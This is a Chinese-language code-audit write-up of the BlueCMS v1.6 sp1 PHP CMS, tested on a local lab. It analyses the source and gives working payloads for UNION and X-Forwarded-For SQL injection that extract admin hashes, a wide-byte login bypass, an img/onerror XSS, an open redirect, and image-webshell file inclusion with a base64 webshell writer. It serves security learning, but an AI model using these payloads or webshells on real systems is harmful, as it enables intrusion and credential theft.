麻辣小板凳 發表於 2020-4-23 21:24:00

[php代码审计]bluecms v1.6 sp1

<h2>一、环境搭建</h2>
<ul>
<li>bluecms v1.6 sp1源码</li>
<li>windows 7</li>
<li>phpstudy2016(php 5.4.45)</li>
<li>seay源代码审计系统</li>
</ul>
<p>源码在网上很容易下载,很多教程说访问地址 http://localhost/bluecms_v1.6_sp1/uploads/install/ 就会进入到安装界面。这里我遇到了一点小问题,访问地址后显示空白,无法进行安装,解决方式是 phpstudy 打开允许目录列表,并且在 bluecms_v1.6_sp1\uploads\install\compile 目录下删掉图中 php 文件,再访问一次安装地址就可以了,然后按照提示进行数据库配置即可成功搭建。</p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200419164256024-2093010438.png" alt="" width="363" height="214">&nbsp;&nbsp;<img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200419163949261-824408925.png" alt="" width="296" height="111"></p>
<p>&nbsp;</p>
<h2>二、漏洞列表</h2>
<h3>2.1SQL注入</h3>
<p>用Seay源代码审计系统扫一下,可以发现有很多可能的漏洞,有一些误报,具体审计一下代码吧,先看一下 ad_js.php 文件</p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200419201544815-703506532.png" alt="" width="611" height="161"></p>
<p>&nbsp;</p>
<p>定位到该条语句</p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200419202720958-390315268.png" alt="" width="454" height="102"></p>
<p>&nbsp;</p>
<p>getone() 是自定义的查询数据库的函数,跟进一下,可以看到插入到数据库查询语句中的 $ad_id&nbsp;除了 trim 去掉两边空格没有任何的过滤,因而导致了数字型SQL注入,虽然 ad_js.php 还包含了 common.inc.php 文件,common.inc.php 进行了&nbsp;addslashes($_GET) 转义,但是由于SQL语句中的变量没有使用单引号保护,addslashes 也同时失去了作用</p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 255, 1)">function</span> getone(<span style="color: rgba(128, 0, 128, 1)">$sql</span>, <span style="color: rgba(128, 0, 128, 1)">$type</span>=<span style="color: rgba(0, 0, 0, 1)">MYSQL_ASSOC){
    </span><span style="color: rgba(128, 0, 128, 1)">$query</span> = <span style="color: rgba(128, 0, 128, 1)">$this</span>-&gt;query(<span style="color: rgba(128, 0, 128, 1)">$sql</span>,<span style="color: rgba(128, 0, 128, 1)">$this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">linkid);
    </span><span style="color: rgba(128, 0, 128, 1)">$row</span> = <span style="color: rgba(0, 128, 128, 1)">mysql_fetch_array</span>(<span style="color: rgba(128, 0, 128, 1)">$query</span>, <span style="color: rgba(128, 0, 128, 1)">$type</span><span style="color: rgba(0, 0, 0, 1)">);
    </span><span style="color: rgba(0, 0, 255, 1)">return</span> <span style="color: rgba(128, 0, 128, 1)">$row</span><span style="color: rgba(0, 0, 0, 1)">;
}</span></pre>
</div>
<p>&nbsp;</p>
<p>利用一下这个漏洞,因为方法很常规就只注入到列出表名</p>
<div class="cnblogs_code">
<pre>http://192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 order by 7
http://192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 UNION SELECT 1,2,3,4,5,6,7//页面空白,查看源码发现打印第7列
http://192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 UNION SELECT 1,2,3,4,5,6,database()
http://192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 UNION SELECT 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()</pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200419205207210-740547616.png" alt="" width="598" height="127"></p>
<p>&nbsp;</p>
<h3>2.2XFF头注入、伪造ip</h3>
<p>接着查看 Seay 扫到的可疑注入点,看一下 /uploads/include/common.fun.php 代码</p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200419210154843-1085128948.png" alt="" width="813" height="80"></p>
<p>&nbsp;</p>
<p>$ip 的值从 HTTP_CLIENT_IP、HTTP_X_FORWARDED_FOR 等变量中获得,HTTP_CLIENT_IP 这个环境变量没有成标准,很多服务器没法获取。而第二个&nbsp;HTTP_X_FORWARDED_FOR&nbsp;可以通过 HTTP 请求头来修改</p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 128, 0, 1)">/*</span><span style="color: rgba(0, 128, 0, 1)">*
* 获取用户IP
</span><span style="color: rgba(0, 128, 0, 1)">*/</span>
<span style="color: rgba(0, 0, 255, 1)">function</span><span style="color: rgba(0, 0, 0, 1)"> getip(){
    </span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">getenv</span>('HTTP_CLIENT_IP'<span style="color: rgba(0, 0, 0, 1)">)){
      </span><span style="color: rgba(128, 0, 128, 1)">$ip</span> = <span style="color: rgba(0, 128, 128, 1)">getenv</span>('HTTP_CLIENT_IP'<span style="color: rgba(0, 0, 0, 1)">);
    }</span><span style="color: rgba(0, 0, 255, 1)">elseif</span> (<span style="color: rgba(0, 128, 128, 1)">getenv</span>('HTTP_X_FORWARDED_FOR'<span style="color: rgba(0, 0, 0, 1)">)) {
      </span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">获取客户端用代理服务器访问时的真实ip 地址</span>
      <span style="color: rgba(128, 0, 128, 1)">$ip</span> = <span style="color: rgba(0, 128, 128, 1)">getenv</span>('HTTP_X_FORWARDED_FOR'<span style="color: rgba(0, 0, 0, 1)">);
    }</span><span style="color: rgba(0, 0, 255, 1)">elseif</span> (<span style="color: rgba(0, 128, 128, 1)">getenv</span>('HTTP_X_FORWARDED'<span style="color: rgba(0, 0, 0, 1)">)) {
      </span><span style="color: rgba(128, 0, 128, 1)">$ip</span> = <span style="color: rgba(0, 128, 128, 1)">getenv</span>('HTTP_X_FORWARDED'<span style="color: rgba(0, 0, 0, 1)">);
    }</span><span style="color: rgba(0, 0, 255, 1)">elseif</span> (<span style="color: rgba(0, 128, 128, 1)">getenv</span>('HTTP_FORWARDED_FOR'<span style="color: rgba(0, 0, 0, 1)">)){
      </span><span style="color: rgba(128, 0, 128, 1)">$ip</span> = <span style="color: rgba(0, 128, 128, 1)">getenv</span>('HTTP_FORWARDED_FOR'<span style="color: rgba(0, 0, 0, 1)">);
    }</span><span style="color: rgba(0, 0, 255, 1)">elseif</span> (<span style="color: rgba(0, 128, 128, 1)">getenv</span>('HTTP_FORWARDED'<span style="color: rgba(0, 0, 0, 1)">)){
      </span><span style="color: rgba(128, 0, 128, 1)">$ip</span> = <span style="color: rgba(0, 128, 128, 1)">getenv</span>('HTTP_FORWARDED'<span style="color: rgba(0, 0, 0, 1)">);
    }</span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)">{
      </span><span style="color: rgba(128, 0, 128, 1)">$ip</span> = <span style="color: rgba(128, 0, 128, 1)">$_SERVER</span>['REMOTE_ADDR'<span style="color: rgba(0, 0, 0, 1)">];
    }
    </span><span style="color: rgba(0, 0, 255, 1)">return</span> <span style="color: rgba(128, 0, 128, 1)">$ip</span><span style="color: rgba(0, 0, 0, 1)">;
}                </span></pre>
</div>
<p>&nbsp;</p>
<p>全局搜索一下这个函数,除了函数定义以外一共有两处</p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200419211502333-1348835396.png" alt="" width="704" height="65"></p>
<p>&nbsp;</p>
<p>查看 comment.php 代码,getip()&nbsp;获取到的 $ip,直接插入到了SQL语句中,没有过滤就执行了,这里是存在SQL注入的。</p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200419212541544-1763998307.png" alt="" width="701" height="44"></p>
<p>&nbsp;</p>
<p>利用一下这个漏洞,从 comment.php 代码可以推断出,SQL注入出现在对文章进行评论的地方。在模拟发布文章时出现一点问题,发布文章时一定选择新闻分类,但是管理员和普通用户都不能创建分类,只好先把限制分类不能为空的代码注释掉。</p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200420092959349-633223670.png" alt="" width="517" height="130"></p>
<p>&nbsp;</p>
<p>首页-&gt;会员中心-&gt;本地新闻-&gt;发布新闻(这里发现写中文内容的话会显示为空,所以测试内容都需要写英文),先评论测试一下,看一下数据表记录的字段默认值</p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200421084327354-1237469261.png" alt="" width="637" height="45"></p>
<p>&nbsp;</p>
<p>显然回显的位置在 content 字段,所以可以构造&nbsp;X-Forwarded-For 值注入,先补充前一次查询的 ip 和 is_check 字段完成第一次插入,再构造第二次插入,同时要注意闭合原本语句中的单引号。评论时进行抓包改包,可以看到成功注入并且在评论列表有回显,查到数据库是 bluecms,直接查一下管理员用户名及密码哈希值也可以成功获取。</p>
<div class="cnblogs_code">
<pre>X-Forwarded-For: 1','1' ),("",'2','2','1','6',(database()),'1','1
X-Forwarded-For: 1','1' ),("",'2','2','1','6',(select concat(admin_name,":",pwd) from blue_admin),'1','1</pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200421085527892-1542432366.png" alt="" width="408" height="233"></p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200421090104833-873888809.png" alt="" width="408" height="384"></p>
<p>&nbsp;</p>
<p>这样插入完成后的完整 sql 语句是,显然这里的 ip 字段也可以控制,可以在注入的同时达到伪造 ip 的效果</p>
<div class="cnblogs_code">
<pre>$sql <span style="color: rgba(128, 128, 128, 1)">=</span> <span style="color: rgba(0, 0, 255, 1)">INSERT</span> <span style="color: rgba(0, 0, 255, 1)">INTO</span> ".<span style="color: rgba(0, 0, 255, 1)">table</span>(<span style="color: rgba(255, 0, 0, 1)">'blue_</span><span style="color: rgba(255, 0, 0, 1)">comment</span><span style="color: rgba(255, 0, 0, 1)">'</span>)." (com_id, post_id, <span style="color: rgba(255, 0, 255, 1)">user_id</span><span style="color: rgba(0, 0, 0, 1)">, type, mood, content, pub_date, ip, is_check)
</span><span style="color: rgba(0, 0, 255, 1)">VALUES</span> (<span style="color: rgba(255, 0, 0, 1)">''</span>, <span style="color: rgba(255, 0, 0, 1)">'</span><span style="color: rgba(255, 0, 0, 1)">$id</span><span style="color: rgba(255, 0, 0, 1)">'</span>, <span style="color: rgba(255, 0, 0, 1)">'</span><span style="color: rgba(255, 0, 0, 1)">$user_id</span><span style="color: rgba(255, 0, 0, 1)">'</span>, <span style="color: rgba(255, 0, 0, 1)">'</span><span style="color: rgba(255, 0, 0, 1)">$type</span><span style="color: rgba(255, 0, 0, 1)">'</span>, <span style="color: rgba(255, 0, 0, 1)">'</span><span style="color: rgba(255, 0, 0, 1)">$mood</span><span style="color: rgba(255, 0, 0, 1)">'</span>, <span style="color: rgba(255, 0, 0, 1)">'</span><span style="color: rgba(255, 0, 0, 1)">$content</span><span style="color: rgba(255, 0, 0, 1)">'</span>, <span style="color: rgba(255, 0, 0, 1)">'</span><span style="color: rgba(255, 0, 0, 1)">$timestamp</span><span style="color: rgba(255, 0, 0, 1)">'</span>, <span style="color: rgba(255, 0, 0, 1)">'</span><span style="color: rgba(255, 0, 0, 1)">1</span><span style="color: rgba(255, 0, 0, 1)">'</span>,<span style="color: rgba(255, 0, 0, 1)">'</span><span style="color: rgba(255, 0, 0, 1)">1</span><span style="color: rgba(255, 0, 0, 1)">'</span>),(<span style="color: rgba(255, 0, 0, 1)">''</span>,<span style="color: rgba(255, 0, 0, 1)">'2</span><span style="color: rgba(255, 0, 0, 1)">'</span>,<span style="color: rgba(255, 0, 0, 1)">'</span><span style="color: rgba(255, 0, 0, 1)">2</span><span style="color: rgba(255, 0, 0, 1)">'</span>,<span style="color: rgba(255, 0, 0, 1)">'</span><span style="color: rgba(255, 0, 0, 1)">1</span><span style="color: rgba(255, 0, 0, 1)">'</span>,<span style="color: rgba(255, 0, 0, 1)">'</span><span style="color: rgba(255, 0, 0, 1)">6</span><span style="color: rgba(255, 0, 0, 1)">'</span>,(<span style="color: rgba(0, 0, 255, 1)">select</span> concat(admin_name,<span style="color: rgba(255, 0, 0, 1)">'</span><span style="color: rgba(255, 0, 0, 1)">:</span><span style="color: rgba(255, 0, 0, 1)">'</span>,pwd) <span style="color: rgba(0, 0, 255, 1)">from</span> blue_admin),<span style="color: rgba(255, 0, 0, 1)">'</span><span style="color: rgba(255, 0, 0, 1)">1</span><span style="color: rgba(255, 0, 0, 1)">'</span>,<span style="color: rgba(255, 0, 0, 1)">'</span><span style="color: rgba(255, 0, 0, 1)">1</span><span style="color: rgba(255, 0, 0, 1)">'</span>, <span style="color: rgba(255, 0, 0, 1)">'</span><span style="color: rgba(255, 0, 0, 1)">$is_check</span><span style="color: rgba(255, 0, 0, 1)">'</span>)";</pre>
</div>
<p>&nbsp;</p>
<h3>2.3XFF头注入2</h3>
<p>再从全局搜索看 getip() 函数出现的另一处 common.inc.php,getip() 赋值给变量 $online_ip,再全局搜索这个变量,发现在留言板界面变量也是没有经过过滤,直接插入查询语句,存在SQL注入</p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200421152559282-1953925857.png" alt="" width="433" height="73"></p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200421152923756-1223927076.png" alt="" width="626" height="175"></p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200421153048340-750697970.png" alt="" width="626" height="58"></p>
<p>&nbsp;</p>
<p>利用一下漏洞,测试时发现无论是否留言都会弹出留言内容不能为空,修改前端代码注释掉这个函数,路径是&nbsp;bluecms_v1.6_sp1\uploads\templates\default\guest_book.htm</p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200421160105757-230766001.png" alt="" width="366" height="151"></p>
<p>&nbsp;</p>
<p>因为显然回显位置在 content 字段,所以构造一次插入语句就可以了,可以看到成功注出数据库</p>
<div class="cnblogs_code">
<pre>X<span style="color: rgba(128, 128, 128, 1)">-</span>Forwarded<span style="color: rgba(128, 128, 128, 1)">-</span><span style="color: rgba(0, 0, 255, 1)">For</span>: <span style="color: rgba(128, 0, 0, 1); font-weight: bold">1</span><span style="color: rgba(255, 0, 0, 1)">'</span><span style="color: rgba(255, 0, 0, 1)">,database())-- -</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200421160752419-510424510.png" alt="" width="343" height="224">&nbsp;<img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200421161545325-43878949.png" alt="" width="289" height="223"></p>
<p>&nbsp;</p>
<h3>2.4宽字节注入</h3>
<p>在 common.inc.php 中注意到数据库编码使用的是 gb2312,这有可能导致宽字节注入</p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200421212603168-1269714366.png" alt="" width="476" height="134"></p>
<p>&nbsp;</p>
<p>找到管理员登录的 bluecms_v1.6_sp1\uploads\admin\login.php,发现验证用户账号密码的函数为 check_admin</p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200422103037297-1984165073.png" alt="" width="503" height="262"></p>
<p>&nbsp;</p>
<p>在&nbsp;bluecms_v1.6_sp1\uploads\admin\include\common.fun.php 文件中找到了 check_admin 函数定义,SQL语句变量使用单引号保护,但是 getone() 函数在2.1小节已经分析过了,没有任何的过滤</p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 255, 1)">function</span> check_admin(<span style="color: rgba(128, 0, 128, 1)">$name</span>, <span style="color: rgba(128, 0, 128, 1)">$pwd</span><span style="color: rgba(0, 0, 0, 1)">)
{
    </span><span style="color: rgba(0, 0, 255, 1)">global</span> <span style="color: rgba(128, 0, 128, 1)">$db</span><span style="color: rgba(0, 0, 0, 1)">;
    </span><span style="color: rgba(128, 0, 128, 1)">$row</span> = <span style="color: rgba(128, 0, 128, 1)">$db</span>-&gt;getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='<span style="color: rgba(128, 0, 128, 1)">$name</span>' and pwd = md5('<span style="color: rgba(128, 0, 128, 1)">$pwd</span>')"<span style="color: rgba(0, 0, 0, 1)">);
   </span><span style="color: rgba(0, 0, 255, 1)">if</span>(<span style="color: rgba(128, 0, 128, 1)">$row</span>['num'] &gt; 0<span style="color: rgba(0, 0, 0, 1)">)
   {
         </span><span style="color: rgba(0, 0, 255, 1)">return</span> <span style="color: rgba(0, 0, 255, 1)">true</span><span style="color: rgba(0, 0, 0, 1)">;
   }
   </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)">
   {
         </span><span style="color: rgba(0, 0, 255, 1)">return</span> <span style="color: rgba(0, 0, 255, 1)">false</span><span style="color: rgba(0, 0, 0, 1)">;
   }
}</span></pre>
</div>
<p>&nbsp;</p>
<p>并且 login.php 还包含了&nbsp;bluecms_v1.6_sp1\uploads\admin\include\common.inc.php,这里是将 $_POST 数据进行 addslashes 转义的,刚好可以利用 %df 让转义的反斜线失去作用</p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 255, 1)">if</span>(!<span style="color: rgba(0, 128, 128, 1)">get_magic_quotes_gpc</span><span style="color: rgba(0, 0, 0, 1)">())
{
    </span><span style="color: rgba(128, 0, 128, 1)">$_POST</span> = deep_addslashes(<span style="color: rgba(128, 0, 128, 1)">$_POST</span><span style="color: rgba(0, 0, 0, 1)">);
    </span><span style="color: rgba(128, 0, 128, 1)">$_GET</span> = deep_addslashes(<span style="color: rgba(128, 0, 128, 1)">$_GET</span><span style="color: rgba(0, 0, 0, 1)">);
    </span><span style="color: rgba(128, 0, 128, 1)">$_COOKIES</span> = deep_addslashes(<span style="color: rgba(128, 0, 128, 1)">$_COOKIES</span><span style="color: rgba(0, 0, 0, 1)">);
    </span><span style="color: rgba(128, 0, 128, 1)">$_REQUEST</span> = deep_addslashes(<span style="color: rgba(128, 0, 128, 1)">$_REQUEST</span><span style="color: rgba(0, 0, 0, 1)">);
}</span></pre>
</div>
<p>&nbsp;</p>
<p>利用一下漏洞,成功以管理员身份登录(注意直接在浏览器输入 %df 会被 urlencode,所以应该抓包发送)</p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200421215100847-334791945.png" alt="" width="472" height="251"></p>
<p>&nbsp;</p>
<h3>2.5存储型XSS</h3>
<p>在 user.php 文件,用户发布新闻功能,发现 content 没有使用 htmlspecialchars() 函数,而是 filter_data(),跟踪看一下,在&nbsp;/uploads/include/common.fun.php 找到函数定义代码,只过滤了 script,iframe,frame,meta,link 等,这里可以用 a,img 等标签绕过</p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200422144307706-916217748.png" alt="" width="557" height="185"></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 255, 1)">function</span> filter_data(<span style="color: rgba(128, 0, 128, 1)">$str</span><span style="color: rgba(0, 0, 0, 1)">)
{
    </span><span style="color: rgba(128, 0, 128, 1)">$str</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/&lt;(\/?)(script|i?frame|meta|link)(\s*)[^&lt;]*&gt;/", "", <span style="color: rgba(128, 0, 128, 1)">$str</span><span style="color: rgba(0, 0, 0, 1)">);
    </span><span style="color: rgba(0, 0, 255, 1)">return</span> <span style="color: rgba(128, 0, 128, 1)">$str</span><span style="color: rgba(0, 0, 0, 1)">;
}</span></pre>
</div>
<p>&nbsp;</p>
<p>利用一下漏洞,因为前端代码还会过滤一些敏感字符,所以所以不直接提交攻击代码,抓包修改 payload,可以看到漏洞利用成功</p>
<div class="cnblogs_code">
<pre>&lt;img src="" onerror="alert(123456)"&gt;</pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200422150307917-531919379.png" alt="" width="248" height="269">&nbsp;<img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200422150325891-461280835.png" alt="" width="367" height="90"></p>
<p>&nbsp;</p>
<h3>2.6任意URL跳转</h3>
<p>在 user.php 中,很明显 $act == 'do_login' 是登录功能,看到有一个 $from 变量,再结合登录成功后显示回到该变量指向参数,可以猜测这个 $from 保存来源 url,方便用户登陆后回到原来浏览的页面</p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200422164305333-800532458.png" alt="" width="529" height="93"></p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200422164323383-500832959.png" alt="" width="532" height="63"></p>
<p>&nbsp;</p>
<p>全局搜索 $from 并没有被其他函数过滤,直接利用一下(注意 $from 应该和源代码一样 base64 加密),将 http://www.baidu.com 编码为 aHR0cDovL3d3dy5iYWlkdS5jb20= 改包放包后可以看到页面成功跳转到百度</p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200422165238571-1314349417.png" alt="" width="425" height="340"></p>
<p>&nbsp;</p>
<h3>2.7文件包含</h3>
<p>user.php 的支付功能,可以通过 $_POST['pay'] 控制文件包含的路径,但是后面拼接了 /index.php</p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200422211737116-1747736323.png" alt="" width="424" height="144"></p>
<p>&nbsp;</p>
<p>有两种方式可以截断</p>
<p>绕过方法<span class="hljs-number">1:%<span class="hljs-number">00 截断</span></span></p>
<p><span class="hljs-number"><span class="hljs-number">条件:magic_quotes_gpc = Off,PHP版本&lt;<span class="hljs-number">5.3<span class="hljs-number">.4</span></span></span></span></p>
<p>绕过方法2:路径长度截断</p>
<p>条件:windows 下目录路径最大长度为256字节,超出部分将丢弃;linux 下目录最大长度为4096字节,超出长度将丢弃;PHP版本&lt;5.2.8</p>
<p>&nbsp;</p>
<p>由于本地搭建版本是5.4.45,降到 5.2.17 测试一下这个漏洞,这里包含的时候遇到个小问题,注意它的路径是&nbsp;include 'include/payment/'.$_POST['pay']."/index.php"; 是找这个的相对路径不是 user.php 的</p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200423095239171-1848854167.png" alt="" width="475" height="267"></p>
<p>&nbsp;</p>
<p>个人资料中可以上传个人头像,上传一个内容为 &lt;?php @eval($_POST['apple']);?&gt; 的 hack.jpg,再查看下路径</p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200423104824804-991879897.png" alt="" width="613" height="130"></p>
<p>&nbsp;</p>
<p>文件包含图片马成功</p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200423105641965-497006554.png" alt="" width="613" height="336"></p>
<p>&nbsp;</p>
<p>还看到其他方法,在图片中插入重新写入一个马 apple.php 的代码,这样生成新马后蚁剑管理起来会比图片马方便很多</p>
<div class="cnblogs_code">
<pre>&lt;?php @<span style="color: rgba(0, 128, 128, 1)">fputs</span>(<span style="color: rgba(0, 128, 128, 1)">fopen</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>('YXBwbGUucGhw'),w),<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>('PD9waHAgQGV2YWwoJF9QT1NUWydhcHBsZSddKTs/Pg=='));?&gt;</pre>
</div>
<p>&nbsp;</p>
<p>包含一下,看到目录下成功生成木马 apple.php</p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200423195944059-921635365.png" alt="" width="428" height="224"><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200423200403112-1985241799.png" alt="" width="221" height="127"></p>
<p>&nbsp;</p>
<h3>2.8任意文件删除</h3>
<p>user.php 的编辑个人资料功能,直接调用 unlink 函数删除 $_POST['face_pic3'],没有进行相应的检查,存在任意文件删除漏洞</p>
<p><img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200423210321130-1255223575.png" alt="" width="579" height="398"></p>
<p>&nbsp;</p>
<p>利用一下漏洞,抓包修改 act=edit_user_info ,post 添加 face_pic3,成功删除2.7小节写入的木马 apple.php</p>
<p>&nbsp;<img src="https://img2020.cnblogs.com/blog/1623796/202004/1623796-20200423210040274-796866210.png" alt="" width="575" height="323"></p>
<p>&nbsp;</p>
<h2>三、总结</h2>
<p>第一次尝试做cms审计,同种利用方式的漏洞只写了一处,还有一些漏洞没有一一列举出来。bluecms 算是一次入门级的复现加一些自己的思考吧,希望这篇随笔可以在理清自己思路的同时帮助到像我一样的初学者。</p>
<p>这次 cms 审计学习到审计工具存在一些误报,不能过度依赖。跟踪用户输入、查看变量的传递过程,发现一些问题时回溯变量,或者直接挖掘功能点的漏洞,对个别文章进行通读,全局搜索易发生漏洞的函数,按照经验直接测试一些常见的漏洞都是很有效的方法。</p>
<p>还有,读着前辈的代码想起自己上学期的数据库课设,前后端写在一起,逻辑没有这么清晰,也没注意安全方面。这份代码虽然陌生,但是逻辑和功能都很明确,很快就可以明白开发者的思路,下次再有机会做PHP开发要好好借鉴经验啦.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>参考:</p>
<p>https://chybeta.github.io/2017/03/14/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BSQL%E6%B3%A8%E5%85%A5%EF%BC%9ABlueCMSv1-6-sp1/</p>
<p>https://blog.szfszf.top/tech/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-bluecms-v1-6/</p>
<p>https://www.cnblogs.com/BOHB-yunying/p/12643510.html</p>
<p>&nbsp;</p><br><br>
来源:https://www.cnblogs.com/wkzb/p/12732078.html
頁: [1]
查看完整版本: [php代码审计]bluecms v1.6 sp1